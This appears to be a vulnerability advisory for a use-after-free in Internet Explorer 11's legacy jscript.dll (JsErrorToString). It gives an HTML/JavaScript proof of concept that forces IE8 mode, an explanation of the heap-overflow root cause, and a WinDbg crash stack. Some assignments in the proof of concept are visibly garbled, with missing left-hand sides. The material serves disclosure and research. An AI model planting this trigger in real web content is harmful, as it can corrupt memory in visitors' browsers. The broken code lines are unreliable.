Microsoft Internet Explorer 11 - 'jscript!JsErrorToString' Use-After-Free








There is a use-after-free in jscript.dll library that can be exploited in IE11.

jscript.dll is an old JavaScript library that was used in IE 8 and back. However, IE11 can still load it if put into IE8 compatibility mode and if there is a script tag that can only be understood by the older library (specifically, a script tag with language="Jscript.Encode" attribute will do the trick).



<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var e = new Error();

var o = {toString:function() {
  //alert('in toString'); = 1;

  for(var i=0;i<100;i++) { = {};

  return 'b';
}}; = Array(1000).join('a');
e.message = o;
//alert('calling JsErrorToString');
var result = e.toString();



This is a use-after-free in jscript!JsErrorToString that can lead to a heap overflow. (The PoC above crashes in memcpy when attempting to copy a large amount of data).

When JsErrorToString runs, it tries to concatenate “name” and “message” properties of an Error object into an AString object (AString is a string type that is implemented as a list of simpler string parts). First the function converts both “name” and “message” properties to strings using the ConvertToString function, however the second call to ConvertToString can trigger a callback (via toString) and delete the “name” string.

Later, when AString is converted to the BString in AString::ConvertToBSTR, the size of the result BString could be calculated incorrectly which can lead to a heap overflow.

Debug log:


(10b8.1364): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000003 ebx=00000006 ecx=dcbabbb8 edx=00000003 esi=e6e8bb7f edi=e900fb9b
eip=751c9a6c esp=09dfbdfc ebp=09dfbe04 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
751c9a6c 8a4603          mov     al,byte ptr [esi+3]        ds:002b:e6e8bb82=??

0:008> k
 # ChildEBP RetAddr  
00 09dfbe04 7013c367 msvcrt!memcpy+0x270
01 09dfbe28 7013c3df jscript!AString::ConvertToBSTR+0x86
02 09dfbe30 7013eeff jscript!VAR::ConvertASTRtoBSTR+0x13
03 09dfbe6c 7013af84 jscript!InvokeDispatch+0x424
04 09dfbf38 7013aefe jscript!InvokeDispatchEx+0x7a
05 09dfbf68 701244a7 jscript!VAR::InvokeByDispID+0x90
06 09dfc360 701248ff jscript!CScriptRuntime::Run+0x12b9
07 09dfc45c 70124783 jscript!ScrFncObj::CallWithFrameOnStack+0x15f
08 09dfc4b4 70124cc3 jscript!ScrFncObj::Call+0x7b
09 09dfc558 70133797 jscript!CSession::Execute+0x23d
0a 09dfc5a0 70135353 jscript!COleScript::ExecutePendingScripts+0x16b
0b 09dfc61c 70135139 jscript!COleScript::ParseScriptTextCore+0x206
0c 09dfc648 6bcecf1c jscript!COleScript::ParseScriptText+0x29
0d 09dfc680 6bced6da MSHTML!CActiveScriptHolder::ParseScriptText+0x51
0e 09dfc6f0 6ba5f185 MSHTML!CScriptCollection::ParseScriptText+0x1c6
0f 09dfc7dc 6ba5ecf7 MSHTML!CScriptData::CommitCode+0x31e
10 09dfc85c 6ba5f8bd MSHTML!CScriptData::Execute+0x232
11 09dfc87c 6bced030 MSHTML!CHtmScriptParseCtx::Execute+0xed
12 09dfc8d0 6bcf8265 MSHTML!CHtmParseBase::Execute+0x201
13 09dfc8ec 6b76388c MSHTML!CHtmPost::Broadcast+0x18e
14 09dfca24 6b894a9d MSHTML!CHtmPost::Exec+0x617
15 09dfca44 6b894a03 MSHTML!CHtmPost::Run+0x3d
16 09dfca60 6b89c1e5 MSHTML!PostManExecute+0x61
17 09dfca74 6b89d578 MSHTML!PostManResume+0x7b
18 09dfcaa4 6b796dbc MSHTML!CHtmPost::OnDwnChanCallback+0x38
19 09dfcabc 6b6d5b90 MSHTML!CDwnChan::OnMethodCall+0x2f
1a 09dfcb0c 6b6d577a MSHTML!GlobalWndOnMethodCall+0x16c
1b 09dfcb60 760f62fa MSHTML!GlobalWndProc+0x103
1c 09dfcb8c 760f6d3a user32!InternalCallWinProc+0x23
1d 09dfcc04 760f77c4 user32!UserCallWinProcCheckWow+0x109
1e 09dfcc64 760f788a user32!DispatchMessageWorker+0x3b5
1f 09dfcc74 6cada8ec user32!DispatchMessageW+0xf
20 09dffe40 6cb056d8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x464
21 09dfff00 76ab2f5c IEFRAME!LCIETab_ThreadProc+0x3e7
22 09dfff18 74693a31 iertutil!CMemBlockRegistrar::_LoadProcs+0x67
23 09dfff50 7667336a IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x94
24 09dfff5c 77379902 kernel32!BaseThreadInitThunk+0xe
25 09dfff9c 773798d5 ntdll!__RtlUserThreadStart+0x70
26 09dfffb4 00000000 ntdll!_RtlUserThreadStart+0x1b